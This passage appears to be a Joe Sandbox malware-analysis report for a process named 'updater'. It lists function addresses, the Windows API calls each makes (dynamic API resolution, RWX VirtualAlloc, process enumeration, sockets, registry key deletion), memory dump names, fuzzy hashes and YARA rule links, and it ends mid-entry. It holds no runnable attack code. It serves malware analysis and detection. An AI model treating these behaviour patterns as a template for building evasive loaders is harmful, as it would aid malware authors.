GetProcAddress.KERNEL32(00000000,VirtualQueryEx), ref: 012679A9

Strings

VirtualQueryEx, xrefs: 012679A3
kernel32.dll, xrefs: 01267997

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VirtualQueryEx$kernel32.dll
API String ID: 1646373207-930368515
Opcode ID: a1094c069743ff07cb7be60e13fec83f350e4dfeac8c7cb34b5c61db191ada90
Instruction ID: d57a34a825b7d4421b3a1f04bd2ac4530472cd6dea2a145e3a581fc788ff5087
Opcode Fuzzy Hash: a1094c069743ff07cb7be60e13fec83f350e4dfeac8c7cb34b5c61db191ada90
Instruction Fuzzy Hash: A4E08672215604BE2700E6E7BC41CBBF7ACDED5564320812EF60483240E8715D8142F4

Function 00BC4BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BC4AF7,?), ref: 00BC4BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00BC4BCA

Strings

Wow64RevertWow64FsRedirection, xrefs: 00BC4BC4
kernel32.dll, xrefs: 00BC4BB3

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: dbe506dccdd7dd8d062ac4895eb1060e636c451368c6745663da4aa903dda24b
Instruction ID: eb72b1c9c1bdfd312b49f73a89bb28614a4b1ced1547e05faec409e82fce2d07
Opcode Fuzzy Hash: dbe506dccdd7dd8d062ac4895eb1060e636c451368c6745663da4aa903dda24b
Instruction Fuzzy Hash: 89D0C7B44A0B128FD3208F30DC08B0A72E4BF01340B208CBED882C2658EBB0C880CA00

Function 00BC4B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BC4B44,?,00BC49D4,?,?,00BC27AF,?,00000001), ref: 00BC4B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00BC4B97

Strings

Wow64DisableWow64FsRedirection, xrefs: 00BC4B91
kernel32.dll, xrefs: 00BC4B80

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: e17ad0e68d83cc74b38cd937f336d4d16c04e9680c1e4f4b9e3cfcc962bc5bb0
Instruction ID: 2dff08acd017aac577e828d70fd6dbe1e54eee350ed57297535a0621e8dfdb10
Opcode Fuzzy Hash: e17ad0e68d83cc74b38cd937f336d4d16c04e9680c1e4f4b9e3cfcc962bc5bb0
Instruction Fuzzy Hash: 2FD017B5660B128FD7209F71DC69B0A76E4BF05351F21887ED986E2650E7B0E880CA10

Function 00C31447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00C31696), ref: 00C31455
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00C31467

Strings

advapi32.dll, xrefs: 00C31450
RegDeleteKeyExW, xrefs: 00C31461

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 1f64b058bb5a517a20e3024a80831ca27e9f76bcd4352b2626c12ac1aa821a0b
Instruction ID: 1535ea3a91dd51331b8ec957affb4956a3a4c7f863608f872d12bde885796de3
Opcode Fuzzy Hash: 1f64b058bb5a517a20e3024a80831ca27e9f76bcd4352b2626c12ac1aa821a0b
Instruction Fuzzy Hash: D3D017755607128FD7209F75C88971A76E4AF07395F25C83A98F6D2160EA70D8C0CA10

Function 00BC55F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BC5E3D), ref: 00BC55FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00BC5610

Strings

kernel32.dll, xrefs: 00BC55F9
GetNativeSystemInfo, xrefs: 00BC560A

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 6a91a0c24b1d82c2f865603909b51cbe98096c22fa1d4d77981dd164f1ebe837
Instruction ID: a7c09bfa9a0e906a2177ff8a6b074e6561e94b6153488e01957d919159e8364c
Opcode Fuzzy Hash: 6a91a0c24b1d82c2f865603909b51cbe98096c22fa1d4d77981dd164f1ebe837
Instruction Fuzzy Hash: 7DD017B99A0B128FE7309F31C809B1B76E4BF15355B21887ED986D2291E670D8C0CA50

Function 00C297CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00C293DE,?,00C40980), ref: 00C297D8
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00C297EA

Strings

kernel32.dll, xrefs: 00C297D3
GetModuleHandleExW, xrefs: 00C297E4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: c9d591c6f7b99ddfc531e98f503154e44fd97afb4c404b00035dbb78957ce979
Instruction ID: be14bd7804bb4dd8f3dea99f217a1054d7493cab2a13186f282e2e697d9c1d07
Opcode Fuzzy Hash: c9d591c6f7b99ddfc531e98f503154e44fd97afb4c404b00035dbb78957ce979
Instruction Fuzzy Hash: 9ED017B55A0B239FD7209F31E88970AB6E4FF15791F21883AD996E2650EB74C980CA11

Function 00C07D9B Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d04655e235f90e11e4a47c1b17ec1906b99f2e4d441ef25e46c22001c0410c7a
Instruction ID: f862ca181397168661b9835e6c141a0b9e6c1cf128fba678adfb9a50f038822d
Opcode Fuzzy Hash: d04655e235f90e11e4a47c1b17ec1906b99f2e4d441ef25e46c22001c0410c7a
Instruction Fuzzy Hash: C5C17F74E00216EFCB14CF94C884EAEB7B5FF48714B218598E855EB291DB31EE85CB90

Function 00C2E713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00C2E7A7
CharLowerBuffW.USER32(?,?), ref: 00C2E7EA

Part of subcall function 00C2DE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00C2DEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00C2E9EA
_memmove.LIBCMT ref: 00C2E9FD

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 8b7ed4e1f40cb66eecfa3f8f1003f69c933112c66cfe7b374fa0606fb3e6b5ae
Instruction ID: 2afde1c5133b4d3ab8d014720acc0bf8ee8bfa1c6b2e24f7f871e736c31f5010
Opcode Fuzzy Hash: 8b7ed4e1f40cb66eecfa3f8f1003f69c933112c66cfe7b374fa0606fb3e6b5ae
Instruction Fuzzy Hash: C0C17C716043118FC714DF28D440A6ABBE4FF89714F14896EF899AB352D771EA46CB82

Function 00C2877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00C287AD
CoUninitialize.OLE32 ref: 00C287B8

Part of subcall function 00C3DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00C28A0E,?,00000000), ref: 00C3DF71

VariantInit.OLEAUT32(?), ref: 00C287C3
VariantClear.OLEAUT32(?), ref: 00C28A94

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: f0f959f90e84120e46613bf10c42e923c55bb305a76b9d77de028dfe512e8706
Instruction ID: 045a8039a7807ff47dc7b4566e828c33010bcbfc6beb5ece6ba2f0880ebdfe88
Opcode Fuzzy Hash: f0f959f90e84120e46613bf10c42e923c55bb305a76b9d77de028dfe512e8706
Instruction Fuzzy Hash: 68A16975204B119FDB10EF14D481B6AB7E4BF88310F148899F9969B7A2CB70ED44DB92

Function 00C0814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00C43C4C,?), ref: 00C08308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00C43C4C,?), ref: 00C08320
CLSIDFromProgID.OLE32(?,?,00000000,00C40988,000000FF,?,00000000,00000800,00000000,?,00C43C4C,?), ref: 00C08345
_memcmp.LIBCMT ref: 00C08366

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: dd0e45b8a02038d7c4a1dd55027e304d2dbb474f67f55de29615728322916ed6
Instruction ID: d5f1fb1e190c092b701816c4a5828b1f7604f7c0442fe36414b3bcbb46007004
Opcode Fuzzy Hash: dd0e45b8a02038d7c4a1dd55027e304d2dbb474f67f55de29615728322916ed6
Instruction Fuzzy Hash: 6D813D71A00109EFCB00DFD4C984EEEB7B9FF89315F208558E555AB290DB71AE0ACB60

Function 00C0749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C074AC
SysAllocString.OLEAUT32(00000000), ref: 00C07555
VariantCopy.OLEAUT32 ref: 00C07584
VariantClear.OLEAUT32(?), ref: 00C075AB

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 48638bdbdd06b77795a0b132f363a00c3e871f1363e4d37b9d27b98e7ca953a0
Instruction ID: 4cc181e6d8f8101f1640fa770a287cd9fd73baa27949beaa399c9b3d992068c5
Opcode Fuzzy Hash: 48638bdbdd06b77795a0b132f363a00c3e871f1363e4d37b9d27b98e7ca953a0
Instruction Fuzzy Hash: 74519130A08B019ACB28AF699895B7DB3E4AF45310F30991FF557C72E1EA71A980DB05

Function 00C2F4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00C2F526
Process32FirstW.KERNEL32(00000000,?), ref: 00C2F534

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Process32NextW.KERNEL32(00000000,?), ref: 00C2F5F4
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00C2F603

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 56fe81850d5cdd782fedc728aa40cfd59cbe1cee40f528da76644e9924d9ce64
Instruction ID: 4a442e1bbb5b4dc5cdf1faf3b3fae27359c67ebf758fea2dd410b02f19aa32fb
Opcode Fuzzy Hash: 56fe81850d5cdd782fedc728aa40cfd59cbe1cee40f528da76644e9924d9ce64
Instruction Fuzzy Hash: BB5149B1104311AFD310EF24D886FABB7E8EF95710F10496DF595962A2EB70AA05CB92

Function 00C39E19 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(011CF238,?), ref: 00C39E88
ScreenToClient.USER32(00000002,00000002), ref: 00C39EBB
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00C39F28

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 3375810ef793156697794becce836370cdd2512f3945cfc1fdb71fda00db8da0
Instruction ID: c8ab6e85e243cd15e5fd28725228d72fb1fa94b8051f34b7a690d0df2d8e14d7
Opcode Fuzzy Hash: 3375810ef793156697794becce836370cdd2512f3945cfc1fdb71fda00db8da0
Instruction Fuzzy Hash: 9D513F35A10209AFCF10DF58C884AAE7BB6FF49360F148659F925D72A0D770AE91CF90

Function 00BD492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BD49C0
__flush.LIBCMT ref: 00BD49E0
__write.LIBCMT ref: 00BD4A13
__flsbuf.LIBCMT ref: 00BD4A41

Part of subcall function 00BD8D58: __getptd_noexit.LIBCMT ref: 00BD8D58

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: eaa83c43b07d5b798e447575cd2735ab84e15d1ba9dbcd9d4bf7751fd6cb6ab6
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: EA419431600606AFDF288FAAC89496FFBE5EF45360B2485BFE85987740F7749D418B44

Function 00C0A638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00C0A68A
__itow.LIBCMT ref: 00C0A6BB

Part of subcall function 00C0A90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00C0A976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00C0A724
__itow.LIBCMT ref: 00C0A77B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 929e0a4c2c822f9d852c8273da6cbad70c718e304067244fbd76c133bbf764b0
Instruction ID: 312eee9ff4ba41726fe848be96fd940b491f8ca5e2a8c127143ae70bafcbdae7
Opcode Fuzzy Hash: 929e0a4c2c822f9d852c8273da6cbad70c718e304067244fbd76c133bbf764b0
Instruction Fuzzy Hash: 6741AF75A00308ABDF10EF58C846FEE7BB9EF49750F004469F915A32C2DB709A45CAA2

Function 00C27095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00C270BC
WSAGetLastError.WSOCK32(00000000), ref: 00C270CC

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00C27130
WSAGetLastError.WSOCK32(00000000), ref: 00C2713C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 0d26567e4446f19349ad0128f00fc181b4c8e651610c45990e38a0ee9862c604
Instruction ID: 69f7481c45b687cece21a763a5f50375539b4c5fa416fe08b4f2d824ee4399c1
Opcode Fuzzy Hash: 0d26567e4446f19349ad0128f00fc181b4c8e651610c45990e38a0ee9862c604
Instruction Fuzzy Hash: AA418D756402106FEB24AF24DC86FBE77E4AF04B14F148598FA59AB3D3DBB09D009B91

Function 00C26B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00C40980), ref: 00C26B92
_strlen.LIBCMT ref: 00C26BC4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: da7bfa78cc2352c7e3f2f936f8ce2408f20335361c5512e37f741188a10205a4
Instruction ID: 19cad2a7bff9fb30755f7b050e544ae4391e6cf0b1efd39d60dfacc95615f5fb
Opcode Fuzzy Hash: da7bfa78cc2352c7e3f2f936f8ce2408f20335361c5512e37f741188a10205a4
Instruction Fuzzy Hash: 6841B571600118ABCB14FB64EC95FBEB3E9EF54310F148199F91A9B2D2DB30AE41D7A0

Function 00C1BE37 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00C1BEE1
GetLastError.KERNEL32(?,00000000), ref: 00C1BF07
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00C1BF2C
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00C1BF58

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: ab22d98305cabf2f34b69e15b593ed5a3ffdf8a131978f564ef7891d97efe0ca
Instruction ID: 783add6fe81843ed33f7d813aaaddf229998d501321cbd9d3062a655f2635043
Opcode Fuzzy Hash: ab22d98305cabf2f34b69e15b593ed5a3ffdf8a131978f564ef7891d97efe0ca
Instruction Fuzzy Hash: 17413639600A10DFCB11EF54C485AA9BBF1FF4A310B18C4D8E9599B362CB70ED42DB91

Function 00C38E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00C38F03

Memory Dump Source

